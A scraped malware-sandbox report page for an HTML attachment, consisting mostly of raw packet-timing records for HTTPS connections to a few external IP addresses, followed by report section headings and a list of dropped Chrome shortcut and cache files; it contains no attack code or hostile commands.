Feb 17, 2025 14:27:43.186914921 CET	443	49729	104.18.95.41	192.168.2.5
Feb 17, 2025 14:27:43.187478065 CET	49729	443	192.168.2.5	104.18.95.41
Feb 17, 2025 14:27:43.187519073 CET	443	49729	104.18.95.41	192.168.2.5
Feb 17, 2025 14:27:43.188111067 CET	443	49729	104.18.95.41	192.168.2.5
Feb 17, 2025 14:27:43.188611031 CET	49729	443	192.168.2.5	104.18.95.41
Feb 17, 2025 14:27:43.188705921 CET	443	49729	104.18.95.41	192.168.2.5
Feb 17, 2025 14:27:43.188755989 CET	49729	443	192.168.2.5	104.18.95.41
Feb 17, 2025 14:27:43.210390091 CET	49728	443	192.168.2.5	104.18.95.41
Feb 17, 2025 14:27:43.210422039 CET	443	49728	104.18.95.41	192.168.2.5
Feb 17, 2025 14:27:43.235340118 CET	443	49729	104.18.95.41	192.168.2.5
Feb 17, 2025 14:27:43.302582979 CET	443	49728	104.18.95.41	192.168.2.5
Feb 17, 2025 14:27:43.302645922 CET	443	49728	104.18.95.41	192.168.2.5
Feb 17, 2025 14:27:43.302695036 CET	443	49728	104.18.95.41	192.168.2.5
Feb 17, 2025 14:27:43.302707911 CET	49728	443	192.168.2.5	104.18.95.41
Feb 17, 2025 14:27:43.302741051 CET	443	49728	104.18.95.41	192.168.2.5
Feb 17, 2025 14:27:43.302783012 CET	49728	443	192.168.2.5	104.18.95.41
Feb 17, 2025 14:27:43.302791119 CET	443	49728	104.18.95.41	192.168.2.5
Feb 17, 2025 14:27:43.302838087 CET	443	49728	104.18.95.41	192.168.2.5
Feb 17, 2025 14:27:43.302882910 CET	443	49728	104.18.95.41	192.168.2.5
Feb 17, 2025 14:27:43.302886009 CET	49728	443	192.168.2.5	104.18.95.41
Feb 17, 2025 14:27:43.302897930 CET	443	49728	104.18.95.41	192.168.2.5
Feb 17, 2025 14:27:43.302942038 CET	49728	443	192.168.2.5	104.18.95.41
Feb 17, 2025 14:27:43.302953005 CET	443	49728	104.18.95.41	192.168.2.5
Feb 17, 2025 14:27:43.303257942 CET	443	49728	104.18.95.41	192.168.2.5
Feb 17, 2025 14:27:43.303306103 CET	49728	443	192.168.2.5	104.18.95.41
Feb 17, 2025 14:27:43.303323984 CET	443	49728	104.18.95.41	192.168.2.5
Feb 17, 2025 14:27:43.328514099 CET	443	49729	104.18.95.41	192.168.2.5
Feb 17, 2025 14:27:43.328603983 CET	443	49729	104.18.95.41	192.168.2.5
Feb 17, 2025 14:27:43.328835964 CET	49729	443	192.168.2.5	104.18.95.41
Feb 17, 2025 14:27:43.331247091 CET	49729	443	192.168.2.5	104.18.95.41
Feb 17, 2025 14:27:43.331269026 CET	443	49729	104.18.95.41	192.168.2.5
Feb 17, 2025 14:27:43.336183071 CET	49730	443	192.168.2.5	104.18.94.41
Feb 17, 2025 14:27:43.336227894 CET	443	49730	104.18.94.41	192.168.2.5
Feb 17, 2025 14:27:43.336309910 CET	49730	443	192.168.2.5	104.18.94.41
Feb 17, 2025 14:27:43.336524010 CET	49730	443	192.168.2.5	104.18.94.41
Feb 17, 2025 14:27:43.336538076 CET	443	49730	104.18.94.41	192.168.2.5
Feb 17, 2025 14:27:43.349730968 CET	49728	443	192.168.2.5	104.18.95.41
Feb 17, 2025 14:27:43.349756002 CET	443	49728	104.18.95.41	192.168.2.5
Feb 17, 2025 14:27:43.389187098 CET	443	49728	104.18.95.41	192.168.2.5
Feb 17, 2025 14:27:43.389241934 CET	443	49728	104.18.95.41	192.168.2.5
Feb 17, 2025 14:27:43.389272928 CET	49728	443	192.168.2.5	104.18.95.41
Feb 17, 2025 14:27:43.389285088 CET	443	49728	104.18.95.41	192.168.2.5
Feb 17, 2025 14:27:43.389317036 CET	443	49728	104.18.95.41	192.168.2.5
Feb 17, 2025 14:27:43.389364004 CET	443	49728	104.18.95.41	192.168.2.5
Feb 17, 2025 14:27:43.389365911 CET	49728	443	192.168.2.5	104.18.95.41
Feb 17, 2025 14:27:43.389409065 CET	49728	443	192.168.2.5	104.18.95.41
Feb 17, 2025 14:27:43.389421940 CET	443	49728	104.18.95.41	192.168.2.5
Feb 17, 2025 14:27:43.389636040 CET	443	49728	104.18.95.41	192.168.2.5
Feb 17, 2025 14:27:43.389674902 CET	49728	443	192.168.2.5	104.18.95.41
Feb 17, 2025 14:27:43.389682055 CET	443	49728	104.18.95.41	192.168.2.5
Feb 17, 2025 14:27:43.389764071 CET	443	49728	104.18.95.41	192.168.2.5
Feb 17, 2025 14:27:43.389801979 CET	443	49728	104.18.95.41	192.168.2.5
Feb 17, 2025 14:27:43.389839888 CET	49728	443	192.168.2.5	104.18.95.41
Feb 17, 2025 14:27:43.389847040 CET	443	49728	104.18.95.41	192.168.2.5
Feb 17, 2025 14:27:43.390136957 CET	49728	443	192.168.2.5	104.18.95.41
Feb 17, 2025 14:27:43.390566111 CET	443	49728	104.18.95.41	192.168.2.5
Feb 17, 2025 14:27:43.390647888 CET	443	49728	104.18.95.41	192.168.2.5
Feb 17, 2025 14:27:43.390692949 CET	443	49728	104.18.95.41	192.168.2.5
Feb 17, 2025 14:27:43.390698910 CET	49728	443	192.168.2.5	104.18.95.41
Feb 17, 2025 14:27:43.390708923 CET	443	49728	104.18.95.41	192.168.2.5
Feb 17, 2025 14:27:43.390882969 CET	49728	443	192.168.2.5	104.18.95.41
Feb 17, 2025 14:27:43.390888929 CET	443	49728	104.18.95.41	192.168.2.5
Feb 17, 2025 14:27:43.391464949 CET	443	49728	104.18.95.41	192.168.2.5
Feb 17, 2025 14:27:43.391501904 CET	443	49728	104.18.95.41	192.168.2.5
Feb 17, 2025 14:27:43.391545057 CET	49728	443	192.168.2.5	104.18.95.41
Feb 17, 2025 14:27:43.391556978 CET	443	49728	104.18.95.41	192.168.2.5
Feb 17, 2025 14:27:43.391588926 CET	49728	443	192.168.2.5	104.18.95.41
Feb 17, 2025 14:27:43.391609907 CET	443	49728	104.18.95.41	192.168.2.5
Feb 17, 2025 14:27:43.391688108 CET	443	49728	104.18.95.41	192.168.2.5
Feb 17, 2025 14:27:43.391947985 CET	49728	443	192.168.2.5	104.18.95.41
Feb 17, 2025 14:27:43.391963959 CET	443	49728	104.18.95.41	192.168.2.5
Feb 17, 2025 14:27:43.434120893 CET	443	49728	104.18.95.41	192.168.2.5
Feb 17, 2025 14:27:43.434175968 CET	443	49728	104.18.95.41	192.168.2.5
Feb 17, 2025 14:27:43.434201956 CET	49728	443	192.168.2.5	104.18.95.41
Feb 17, 2025 14:27:43.434226036 CET	443	49728	104.18.95.41	192.168.2.5
Feb 17, 2025 14:27:43.434533119 CET	49728	443	192.168.2.5	104.18.95.41
Feb 17, 2025 14:27:43.475696087 CET	443	49728	104.18.95.41	192.168.2.5
Feb 17, 2025 14:27:43.475783110 CET	443	49728	104.18.95.41	192.168.2.5
Feb 17, 2025 14:27:43.475910902 CET	49728	443	192.168.2.5	104.18.95.41
Feb 17, 2025 14:27:43.475917101 CET	443	49728	104.18.95.41	192.168.2.5
Feb 17, 2025 14:27:43.475934029 CET	443	49728	104.18.95.41	192.168.2.5
Feb 17, 2025 14:27:43.475975037 CET	49728	443	192.168.2.5	104.18.95.41
Feb 17, 2025 14:27:43.475985050 CET	443	49728	104.18.95.41	192.168.2.5
Feb 17, 2025 14:27:43.476355076 CET	443	49728	104.18.95.41	192.168.2.5
Feb 17, 2025 14:27:43.476427078 CET	49728	443	192.168.2.5	104.18.95.41
Feb 17, 2025 14:27:43.476440907 CET	443	49728	104.18.95.41	192.168.2.5
Feb 17, 2025 14:27:43.476507902 CET	49728	443	192.168.2.5	104.18.95.41
Feb 17, 2025 14:27:43.476824045 CET	443	49728	104.18.95.41	192.168.2.5
Feb 17, 2025 14:27:43.476877928 CET	49728	443	192.168.2.5	104.18.95.41
Feb 17, 2025 14:27:43.476885080 CET	443	49728	104.18.95.41	192.168.2.5
Feb 17, 2025 14:27:43.476960897 CET	443	49728	104.18.95.41	192.168.2.5
Feb 17, 2025 14:27:43.476980925 CET	49728	443	192.168.2.5	104.18.95.41
Feb 17, 2025 14:27:43.476986885 CET	443	49728	104.18.95.41	192.168.2.5
Feb 17, 2025 14:27:43.477061033 CET	49728	443	192.168.2.5	104.18.95.41
Feb 17, 2025 14:27:43.477066994 CET	443	49728	104.18.95.41	192.168.2.5
Feb 17, 2025 14:27:43.477082968 CET	443	49728	104.18.95.41	192.168.2.5
Feb 17, 2025 14:27:43.477128983 CET	49728	443	192.168.2.5	104.18.95.41
Feb 17, 2025 14:27:43.477915049 CET	443	49728	104.18.95.41	192.168.2.5
Feb 17, 2025 14:27:43.477977991 CET	49728	443	192.168.2.5	104.18.95.41
Feb 17, 2025 14:27:43.477984905 CET	443	49728	104.18.95.41	192.168.2.5
Feb 17, 2025 14:27:43.478024960 CET	49728	443	192.168.2.5	104.18.95.41
Feb 17, 2025 14:27:43.478790045 CET	443	49728	104.18.95.41	192.168.2.5
Feb 17, 2025 14:27:43.478856087 CET	49728	443	192.168.2.5	104.18.95.41
Feb 17, 2025 14:27:43.479010105 CET	443	49728	104.18.95.41	192.168.2.5
Feb 17, 2025 14:27:43.479051113 CET	49728	443	192.168.2.5	104.18.95.41
Feb 17, 2025 14:27:43.479062080 CET	443	49728	104.18.95.41	192.168.2.5
Feb 17, 2025 14:27:43.479104996 CET	49728	443	192.168.2.5	104.18.95.41
Feb 17, 2025 14:27:43.479793072 CET	443	49728	104.18.95.41	192.168.2.5
Feb 17, 2025 14:27:43.479846954 CET	49728	443	192.168.2.5	104.18.95.41
Feb 17, 2025 14:27:43.479883909 CET	443	49728	104.18.95.41	192.168.2.5
Feb 17, 2025 14:27:43.479954004 CET	49728	443	192.168.2.5	104.18.95.41
Feb 17, 2025 14:27:43.479978085 CET	443	49728	104.18.95.41	192.168.2.5
Feb 17, 2025 14:27:43.480022907 CET	49728	443	192.168.2.5	104.18.95.41
Feb 17, 2025 14:27:43.521011114 CET	443	49728	104.18.95.41	192.168.2.5
Feb 17, 2025 14:27:43.521109104 CET	49728	443	192.168.2.5	104.18.95.41
Feb 17, 2025 14:27:43.562361956 CET	443	49728	104.18.95.41	192.168.2.5
Feb 17, 2025 14:27:43.562453032 CET	49728	443	192.168.2.5	104.18.95.41
Feb 17, 2025 14:27:43.562484026 CET	443	49728	104.18.95.41	192.168.2.5
Feb 17, 2025 14:27:43.562629938 CET	49728	443	192.168.2.5	104.18.95.41
Feb 17, 2025 14:27:43.562644005 CET	443	49728	104.18.95.41	192.168.2.5
Feb 17, 2025 14:27:43.562680006 CET	443	49728	104.18.95.41	192.168.2.5
Feb 17, 2025 14:27:43.562710047 CET	49728	443	192.168.2.5	104.18.95.41
Feb 17, 2025 14:27:43.562738895 CET	49728	443	192.168.2.5	104.18.95.41
Feb 17, 2025 14:27:43.566989899 CET	49731	443	192.168.2.5	104.18.94.41
Feb 17, 2025 14:27:43.567018032 CET	443	49731	104.18.94.41	192.168.2.5
Feb 17, 2025 14:27:43.567095041 CET	49731	443	192.168.2.5	104.18.94.41
Feb 17, 2025 14:27:43.567456961 CET	49731	443	192.168.2.5	104.18.94.41
Feb 17, 2025 14:27:43.567473888 CET	443	49731	104.18.94.41	192.168.2.5
Feb 17, 2025 14:27:43.592889071 CET	49713	443	192.168.2.5	172.67.209.138
Feb 17, 2025 14:27:43.639334917 CET	443	49713	172.67.209.138	192.168.2.5
Feb 17, 2025 14:27:43.753221035 CET	49733	443	192.168.2.5	104.18.95.41
Feb 17, 2025 14:27:43.753273010 CET	443	49733	104.18.95.41	192.168.2.5
Feb 17, 2025 14:27:43.753340006 CET	49733	443	192.168.2.5	104.18.95.41
Feb 17, 2025 14:27:43.753721952 CET	49733	443	192.168.2.5	104.18.95.41
Feb 17, 2025 14:27:43.753739119 CET	443	49733	104.18.95.41	192.168.2.5
Feb 17, 2025 14:27:43.823602915 CET	443	49730	104.18.94.41	192.168.2.5
Feb 17, 2025 14:27:43.823827982 CET	49730	443	192.168.2.5	104.18.94.41
Feb 17, 2025 14:27:43.823853970 CET	443	49730	104.18.94.41	192.168.2.5
Feb 17, 2025 14:27:43.824322939 CET	443	49730	104.18.94.41	192.168.2.5
Feb 17, 2025 14:27:43.824748993 CET	49730	443	192.168.2.5	104.18.94.41
Feb 17, 2025 14:27:43.824836016 CET	443	49730	104.18.94.41	192.168.2.5
Feb 17, 2025 14:27:43.825341940 CET	49730	443	192.168.2.5	104.18.94.41
Feb 17, 2025 14:27:43.871326923 CET	443	49730	104.18.94.41	192.168.2.5
Feb 17, 2025 14:27:43.967056036 CET	443	49713	172.67.209.138	192.168.2.5
Feb 17, 2025 14:27:43.967155933 CET	443	49713	172.67.209.138	192.168.2.5
Feb 17, 2025 14:27:43.967202902 CET	49713	443	192.168.2.5	172.67.209.138
Feb 17, 2025 14:27:43.977248907 CET	49734	443	192.168.2.5	35.190.80.1
Feb 17, 2025 14:27:43.977312088 CET	443	49734	35.190.80.1	192.168.2.5
Feb 17, 2025 14:27:43.977386951 CET	49734	443	192.168.2.5	35.190.80.1
Feb 17, 2025 14:27:43.978027105 CET	49734	443	192.168.2.5	35.190.80.1
Feb 17, 2025 14:27:43.978060007 CET	443	49734	35.190.80.1	192.168.2.5
Feb 17, 2025 14:27:43.981950045 CET	49713	443	192.168.2.5	172.67.209.138
Feb 17, 2025 14:27:43.981969118 CET	443	49713	172.67.209.138	192.168.2.5
Feb 17, 2025 14:27:44.022248030 CET	443	49730	104.18.94.41	192.168.2.5
Feb 17, 2025 14:27:44.022341967 CET	443	49730	104.18.94.41	192.168.2.5
Feb 17, 2025 14:27:44.022412062 CET	49730	443	192.168.2.5	104.18.94.41
Feb 17, 2025 14:27:44.025881052 CET	49730	443	192.168.2.5	104.18.94.41
Feb 17, 2025 14:27:44.025906086 CET	443	49730	104.18.94.41	192.168.2.5
Feb 17, 2025 14:27:44.105412960 CET	443	49731	104.18.94.41	192.168.2.5
Feb 17, 2025 14:27:44.147664070 CET	49731	443	192.168.2.5	104.18.94.41
Feb 17, 2025 14:27:44.181785107 CET	49731	443	192.168.2.5	104.18.94.41
Feb 17, 2025 14:27:44.181798935 CET	443	49731	104.18.94.41	192.168.2.5
Feb 17, 2025 14:27:44.183023930 CET	443	49731	104.18.94.41	192.168.2.5
Feb 17, 2025 14:27:44.184365034 CET	49731	443	192.168.2.5	104.18.94.41
Feb 17, 2025 14:27:44.184572935 CET	443	49731	104.18.94.41	192.168.2.5
Feb 17, 2025 14:27:44.185276031 CET	49731	443	192.168.2.5	104.18.94.41
Feb 17, 2025 14:27:44.227327108 CET	443	49731	104.18.94.41	192.168.2.5
Feb 17, 2025 14:27:44.294465065 CET	443	49731	104.18.94.41	192.168.2.5
Feb 17, 2025 14:27:44.294584990 CET	443	49731	104.18.94.41	192.168.2.5
Feb 17, 2025 14:27:44.294651985 CET	49731	443	192.168.2.5	104.18.94.41
Feb 17, 2025 14:27:44.294666052 CET	443	49731	104.18.94.41	192.168.2.5
Feb 17, 2025 14:27:44.294783115 CET	443	49731	104.18.94.41	192.168.2.5
Feb 17, 2025 14:27:44.294830084 CET	49731	443	192.168.2.5	104.18.94.41
Feb 17, 2025 14:27:44.294837952 CET	443	49731	104.18.94.41	192.168.2.5
Feb 17, 2025 14:27:44.294960976 CET	443	49731	104.18.94.41	192.168.2.5
Feb 17, 2025 14:27:44.295073032 CET	443	49731	104.18.94.41	192.168.2.5
Feb 17, 2025 14:27:44.295121908 CET	49731	443	192.168.2.5	104.18.94.41
Feb 17, 2025 14:27:44.295131922 CET	443	49731	104.18.94.41	192.168.2.5
Feb 17, 2025 14:27:44.295496941 CET	443	49731	104.18.94.41	192.168.2.5
Feb 17, 2025 14:27:44.295566082 CET	49731	443	192.168.2.5	104.18.94.41
Feb 17, 2025 14:27:44.295578957 CET	443	49731	104.18.94.41	192.168.2.5
Feb 17, 2025 14:27:44.295630932 CET	49731	443	192.168.2.5	104.18.94.41
Feb 17, 2025 14:27:44.298887014 CET	443	49731	104.18.94.41	192.168.2.5
Feb 17, 2025 14:27:44.299058914 CET	443	49731	104.18.94.41	192.168.2.5
Feb 17, 2025 14:27:44.299118996 CET	49731	443	192.168.2.5	104.18.94.41
Feb 17, 2025 14:27:44.299143076 CET	443	49731	104.18.94.41	192.168.2.5
Feb 17, 2025 14:27:44.350517988 CET	49731	443	192.168.2.5	104.18.94.41
Feb 17, 2025 14:27:44.383150101 CET	443	49731	104.18.94.41	192.168.2.5
Feb 17, 2025 14:27:44.383399963 CET	443	49731	104.18.94.41	192.168.2.5
Feb 17, 2025 14:27:44.383474112 CET	49731	443	192.168.2.5	104.18.94.41
Feb 17, 2025 14:27:44.383491993 CET	443	49731	104.18.94.41	192.168.2.5
Feb 17, 2025 14:27:44.383590937 CET	443	49731	104.18.94.41	192.168.2.5
Feb 17, 2025 14:27:44.383665085 CET	49731	443	192.168.2.5	104.18.94.41
Feb 17, 2025 14:27:44.383672953 CET	443	49731	104.18.94.41	192.168.2.5
Feb 17, 2025 14:27:44.383759022 CET	443	49731	104.18.94.41	192.168.2.5
Feb 17, 2025 14:27:44.383853912 CET	443	49731	104.18.94.41	192.168.2.5
Feb 17, 2025 14:27:44.383878946 CET	49731	443	192.168.2.5	104.18.94.41
Feb 17, 2025 14:27:44.383888006 CET	443	49731	104.18.94.41	192.168.2.5
Feb 17, 2025 14:27:44.384089947 CET	443	49731	104.18.94.41	192.168.2.5
Feb 17, 2025 14:27:44.384118080 CET	49731	443	192.168.2.5	104.18.94.41
Feb 17, 2025 14:27:44.384125948 CET	443	49731	104.18.94.41	192.168.2.5
Feb 17, 2025 14:27:44.384253025 CET	443	49731	104.18.94.41	192.168.2.5
Feb 17, 2025 14:27:44.384335041 CET	49731	443	192.168.2.5	104.18.94.41
Feb 17, 2025 14:27:44.384345055 CET	443	49731	104.18.94.41	192.168.2.5
Feb 17, 2025 14:27:44.384376049 CET	443	49731	104.18.94.41	192.168.2.5
Feb 17, 2025 14:27:44.384422064 CET	49731	443	192.168.2.5	104.18.94.41
Feb 17, 2025 14:27:44.384937048 CET	443	49731	104.18.94.41	192.168.2.5
Feb 17, 2025 14:27:44.384983063 CET	49731	443	192.168.2.5	104.18.94.41
Feb 17, 2025 14:27:44.384994984 CET	443	49731	104.18.94.41	192.168.2.5
Feb 17, 2025 14:27:44.385149956 CET	443	49731	104.18.94.41	192.168.2.5
Feb 17, 2025 14:27:44.385200024 CET	49731	443	192.168.2.5	104.18.94.41
Feb 17, 2025 14:27:44.385207891 CET	443	49731	104.18.94.41	192.168.2.5
Feb 17, 2025 14:27:44.385301113 CET	443	49731	104.18.94.41	192.168.2.5
Feb 17, 2025 14:27:44.385386944 CET	443	49731	104.18.94.41	192.168.2.5
Feb 17, 2025 14:27:44.385426044 CET	49731	443	192.168.2.5	104.18.94.41
Feb 17, 2025 14:27:44.385433912 CET	443	49731	104.18.94.41	192.168.2.5
Feb 17, 2025 14:27:44.385737896 CET	443	49731	104.18.94.41	192.168.2.5
Feb 17, 2025 14:27:44.385804892 CET	49731	443	192.168.2.5	104.18.94.41
Feb 17, 2025 14:27:44.385813951 CET	443	49731	104.18.94.41	192.168.2.5
Feb 17, 2025 14:27:44.385936022 CET	443	49731	104.18.94.41	192.168.2.5
Feb 17, 2025 14:27:44.385938883 CET	49731	443	192.168.2.5	104.18.94.41
Feb 17, 2025 14:27:44.385968924 CET	443	49731	104.18.94.41	192.168.2.5
Feb 17, 2025 14:27:44.386024952 CET	49731	443	192.168.2.5	104.18.94.41
Feb 17, 2025 14:27:44.429816008 CET	443	49733	104.18.95.41	192.168.2.5
Feb 17, 2025 14:27:44.430310965 CET	49733	443	192.168.2.5	104.18.95.41
Feb 17, 2025 14:27:44.430327892 CET	443	49733	104.18.95.41	192.168.2.5
Feb 17, 2025 14:27:44.431474924 CET	443	49733	104.18.95.41	192.168.2.5
Feb 17, 2025 14:27:44.431801081 CET	49733	443	192.168.2.5	104.18.95.41
Feb 17, 2025 14:27:44.431978941 CET	49733	443	192.168.2.5	104.18.95.41
Feb 17, 2025 14:27:44.431979895 CET	443	49733	104.18.95.41	192.168.2.5
Feb 17, 2025 14:27:44.432135105 CET	49733	443	192.168.2.5	104.18.95.41
Feb 17, 2025 14:27:44.432245016 CET	443	49733	104.18.95.41	192.168.2.5
Feb 17, 2025 14:27:44.461992025 CET	443	49734	35.190.80.1	192.168.2.5
Feb 17, 2025 14:27:44.462202072 CET	49734	443	192.168.2.5	35.190.80.1
Feb 17, 2025 14:27:44.462249041 CET	443	49734	35.190.80.1	192.168.2.5
Feb 17, 2025 14:27:44.463361025 CET	443	49734	35.190.80.1	192.168.2.5
Feb 17, 2025 14:27:44.463454962 CET	49734	443	192.168.2.5	35.190.80.1
Feb 17, 2025 14:27:44.464663029 CET	49734	443	192.168.2.5	35.190.80.1
Feb 17, 2025 14:27:44.464764118 CET	443	49734	35.190.80.1	192.168.2.5
Feb 17, 2025 14:27:44.464824915 CET	49734	443	192.168.2.5	35.190.80.1
Feb 17, 2025 14:27:44.464840889 CET	443	49734	35.190.80.1	192.168.2.5
Feb 17, 2025 14:27:44.472059965 CET	443	49731	104.18.94.41	192.168.2.5
Feb 17, 2025 14:27:44.472253084 CET	443	49731	104.18.94.41	192.168.2.5
Feb 17, 2025 14:27:44.472311020 CET	49731	443	192.168.2.5	104.18.94.41
Feb 17, 2025 14:27:44.472328901 CET	443	49731	104.18.94.41	192.168.2.5
Feb 17, 2025 14:27:44.472413063 CET	443	49731	104.18.94.41	192.168.2.5
Feb 17, 2025 14:27:44.472465038 CET	49731	443	192.168.2.5	104.18.94.41
Feb 17, 2025 14:27:44.472476006 CET	443	49731	104.18.94.41	192.168.2.5
Feb 17, 2025 14:27:44.472505093 CET	443	49731	104.18.94.41	192.168.2.5
Feb 17, 2025 14:27:44.472557068 CET	49731	443	192.168.2.5	104.18.94.41
Feb 17, 2025 14:27:44.472564936 CET	443	49731	104.18.94.41	192.168.2.5
Feb 17, 2025 14:27:44.472676039 CET	49731	443	192.168.2.5	104.18.94.41
Feb 17, 2025 14:27:44.472692966 CET	443	49731	104.18.94.41	192.168.2.5
Feb 17, 2025 14:27:44.472723007 CET	443	49731	104.18.94.41	192.168.2.5
Feb 17, 2025 14:27:44.472744942 CET	49731	443	192.168.2.5	104.18.94.41
Feb 17, 2025 14:27:44.472912073 CET	443	49731	104.18.94.41	192.168.2.5
Feb 17, 2025 14:27:44.472968102 CET	49731	443	192.168.2.5	104.18.94.41
Feb 17, 2025 14:27:44.472975969 CET	443	49731	104.18.94.41	192.168.2.5
Feb 17, 2025 14:27:44.473006964 CET	443	49731	104.18.94.41	192.168.2.5
Feb 17, 2025 14:27:44.473062992 CET	49731	443	192.168.2.5	104.18.94.41
Feb 17, 2025 14:27:44.473071098 CET	443	49731	104.18.94.41	192.168.2.5
Feb 17, 2025 14:27:44.473186016 CET	49731	443	192.168.2.5	104.18.94.41
Feb 17, 2025 14:27:44.473594904 CET	443	49731	104.18.94.41	192.168.2.5
Feb 17, 2025 14:27:44.473656893 CET	49731	443	192.168.2.5	104.18.94.41
Feb 17, 2025 14:27:44.473679066 CET	443	49731	104.18.94.41	192.168.2.5
Feb 17, 2025 14:27:44.473730087 CET	49731	443	192.168.2.5	104.18.94.41
Feb 17, 2025 14:27:44.473833084 CET	443	49731	104.18.94.41	192.168.2.5
Feb 17, 2025 14:27:44.473892927 CET	49731	443	192.168.2.5	104.18.94.41
Feb 17, 2025 14:27:44.474399090 CET	49733	443	192.168.2.5	104.18.95.41
Feb 17, 2025 14:27:44.474448919 CET	443	49731	104.18.94.41	192.168.2.5
Feb 17, 2025 14:27:44.474505901 CET	49731	443	192.168.2.5	104.18.94.41
Feb 17, 2025 14:27:44.474631071 CET	443	49731	104.18.94.41	192.168.2.5
Feb 17, 2025 14:27:44.474685907 CET	49731	443	192.168.2.5	104.18.94.41
Feb 17, 2025 14:27:44.474715948 CET	443	49731	104.18.94.41	192.168.2.5
Feb 17, 2025 14:27:44.474767923 CET	49731	443	192.168.2.5	104.18.94.41
Feb 17, 2025 14:27:44.475405931 CET	443	49731	104.18.94.41	192.168.2.5
Feb 17, 2025 14:27:44.475461006 CET	49731	443	192.168.2.5	104.18.94.41
Feb 17, 2025 14:27:44.475543022 CET	443	49731	104.18.94.41	192.168.2.5
Feb 17, 2025 14:27:44.475603104 CET	49731	443	192.168.2.5	104.18.94.41
Feb 17, 2025 14:27:44.475626945 CET	443	49731	104.18.94.41	192.168.2.5
Feb 17, 2025 14:27:44.475680113 CET	49731	443	192.168.2.5	104.18.94.41
Feb 17, 2025 14:27:44.509757042 CET	49734	443	192.168.2.5	35.190.80.1
Feb 17, 2025 14:27:44.560905933 CET	443	49731	104.18.94.41	192.168.2.5
Feb 17, 2025 14:27:44.560997009 CET	49731	443	192.168.2.5	104.18.94.41
Feb 17, 2025 14:27:44.561024904 CET	443	49731	104.18.94.41	192.168.2.5
Feb 17, 2025 14:27:44.561172962 CET	443	49731	104.18.94.41	192.168.2.5
Feb 17, 2025 14:27:44.561238050 CET	49731	443	192.168.2.5	104.18.94.41
Feb 17, 2025 14:27:44.566267967 CET	49731	443	192.168.2.5	104.18.94.41
Feb 17, 2025 14:27:44.566286087 CET	443	49731	104.18.94.41	192.168.2.5
Feb 17, 2025 14:27:44.588856936 CET	443	49734	35.190.80.1	192.168.2.5
Feb 17, 2025 14:27:44.588932037 CET	443	49734	35.190.80.1	192.168.2.5
Feb 17, 2025 14:27:44.588989019 CET	49734	443	192.168.2.5	35.190.80.1
Feb 17, 2025 14:27:44.589101076 CET	49734	443	192.168.2.5	35.190.80.1
Feb 17, 2025 14:27:44.589118004 CET	443	49734	35.190.80.1	192.168.2.5
Feb 17, 2025 14:27:44.589127064 CET	49734	443	192.168.2.5	35.190.80.1
Feb 17, 2025 14:27:44.589167118 CET	49734	443	192.168.2.5	35.190.80.1
Feb 17, 2025 14:27:44.589713097 CET	49736	443	192.168.2.5	35.190.80.1
Feb 17, 2025 14:27:44.589725971 CET	443	49736	35.190.80.1	192.168.2.5
Feb 17, 2025 14:27:44.589884043 CET	49736	443	192.168.2.5	35.190.80.1
Feb 17, 2025 14:27:44.590116024 CET	49736	443	192.168.2.5	35.190.80.1
Feb 17, 2025 14:27:44.590130091 CET	443	49736	35.190.80.1	192.168.2.5
Feb 17, 2025 14:27:44.616139889 CET	443	49733	104.18.95.41	192.168.2.5
Feb 17, 2025 14:27:44.616254091 CET	443	49733	104.18.95.41	192.168.2.5
Feb 17, 2025 14:27:44.616339922 CET	443	49733	104.18.95.41	192.168.2.5
Feb 17, 2025 14:27:44.616389036 CET	49733	443	192.168.2.5	104.18.95.41
Feb 17, 2025 14:27:44.616420984 CET	443	49733	104.18.95.41	192.168.2.5
Feb 17, 2025 14:27:44.616506100 CET	49733	443	192.168.2.5	104.18.95.41
Feb 17, 2025 14:27:44.616516113 CET	443	49733	104.18.95.41	192.168.2.5
Feb 17, 2025 14:27:44.616595030 CET	443	49733	104.18.95.41	192.168.2.5
Feb 17, 2025 14:27:44.616643906 CET	49733	443	192.168.2.5	104.18.95.41
Feb 17, 2025 14:27:44.616652012 CET	443	49733	104.18.95.41	192.168.2.5
Feb 17, 2025 14:27:44.616735935 CET	443	49733	104.18.95.41	192.168.2.5
Feb 17, 2025 14:27:44.616777897 CET	49733	443	192.168.2.5	104.18.95.41
Feb 17, 2025 14:27:44.616786957 CET	443	49733	104.18.95.41	192.168.2.5
Feb 17, 2025 14:27:44.620610952 CET	443	49733	104.18.95.41	192.168.2.5
Feb 17, 2025 14:27:44.620671988 CET	49733	443	192.168.2.5	104.18.95.41
Feb 17, 2025 14:27:44.620681047 CET	443	49733	104.18.95.41	192.168.2.5
Feb 17, 2025 14:27:44.620754004 CET	443	49733	104.18.95.41	192.168.2.5
Feb 17, 2025 14:27:44.620853901 CET	49733	443	192.168.2.5	104.18.95.41
Feb 17, 2025 14:27:44.620862007 CET	443	49733	104.18.95.41	192.168.2.5
Feb 17, 2025 14:27:44.669569969 CET	49733	443	192.168.2.5	104.18.95.41
Feb 17, 2025 14:27:44.698184013 CET	80	49708	192.185.98.73	192.168.2.5
Feb 17, 2025 14:27:44.698267937 CET	49708	80	192.168.2.5	192.185.98.73
Fe

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Attach1.htm

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

HTML

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Networking

System Summary

Data Obfuscation

Boot Survival

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Chrome Cache Entry: 100

Chrome Cache Entry: 101

Chrome Cache Entry: 102

